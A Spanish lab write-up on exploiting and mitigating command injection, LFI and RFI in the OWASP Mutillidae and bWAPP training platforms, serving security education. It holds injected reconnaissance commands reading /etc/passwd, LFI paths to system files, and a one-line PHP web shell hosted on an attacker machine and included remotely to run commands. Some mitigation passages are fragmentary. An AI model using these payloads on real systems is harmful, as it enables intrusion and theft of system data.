Práctica sobre explotación y mitigación de vulnerabilidades de inyección de comandos y de inclusión de archivos locales/remotos (LFI/RFI), usando las plataformas OWASP Mutillidae y bWAPP.
Accedemos a OWASP Mutillidae y navegamos hasta:
OWASP 2013 → A1 – Injection (other) → Command Injection → DNS Lookup
Desde el campo de entrada podemos inyectar comandos del sistema operativo encadenándolos con el separador ; o |. Ejemplos de reconocimiento:
# Ver directorio actual
pwd
# Listar todos los usuarios del sistema
cat /etc/passwd
# Listar archivos (incluyendo ocultos) del directorio actual
ls -la
# Ver configuración de Apache
ls /etc/apache2/
# Buscar usuarios de bases de datos activos
grep -i '(postgres|sql|db2|ora)' /etc/passwd
# Verificar procesos de base de datos en ejecución
ps -eaf | egrep -l '(postgres|sql|db2|ora)'
# Listar módulos de Apache activos
apachectl -M
# Listar módulos de Apache disponibles
ls /etc/apache2/mods-available/
unlink($file) de PHP en lugar de llamar a rm del sistema.filter_input de PHP para validar la entrada antes de usarla:<?php
if ($targetIP = filter_input(INPUT_GET, 'ip', FILTER_VALIDATE_IP)) {
$cmd = exec("ping $targetIP");
} else {
die("Por favor, introduce una dirección IP válida");
}
?>
exec(), shell_exec(), system() y passthru().strip_tags() como método de desinfección de entradas.Accedemos a la máquina bWAPP y seleccionamos:
Remote & Local File Inclusion (RFI/LFI)
Mediante la manipulación del parámetro language= en la URL, podemos incluir archivos locales del servidor:
# Obtener el nombre de la máquina
?language=/etc/hostname
# Listar todos los usuarios del sistema
?language=/etc/passwd
# Ver los grupos del sistema
?language=/etc/group
# Ver la configuración de Apache
?language=/etc/apache2/apache2.conf
Si el servidor tiene allow_url_include=On, podemos alojar un archivo PHP malicioso en nuestra máquina Kali y ejecutarlo remotamente:
# Activamos Apache en Kali para servir el archivo
service apache2 start
# Creamos el archivo bind.shell.txt en /var/www/html/ con este contenido:
# <?php system($_GET['comando']); ?>
# Lo incluimos desde bWAPP y ejecutamos comandos:
http://10.0.2.4/bWAPP/rlfi.php?language=http://10.0.2.7/bind.shell.txt&action=go&comando=ls
# Listar archivos del directorio actual
&comando=ls
# Ver todos los procesos activos
&comando=ps
# Listar hardware del sistema
&comando=lshw
# Ver módulos del kernel cargados
&comando=lsmod
# Ver dispositivos PCI
&comando=lspci
# Ver usuarios activos en el sistema
&comando=w
# Ver archivos abiertos por procesos
&comando=lsof
allow_url_include y allow_url_fopen en php.ini para bloquear la inclusión de archivos remotos:; php.ini
allow_url_include = Off
allow_url_fopen = Off
<?php
$allowed = ['en' => 'lang/en.php', 'es' => 'lang/es.php'];
$lang = $_GET['language'] ?? 'es';
$file = $allowed[$lang] ?? $allowed['es'];
include $file;
?>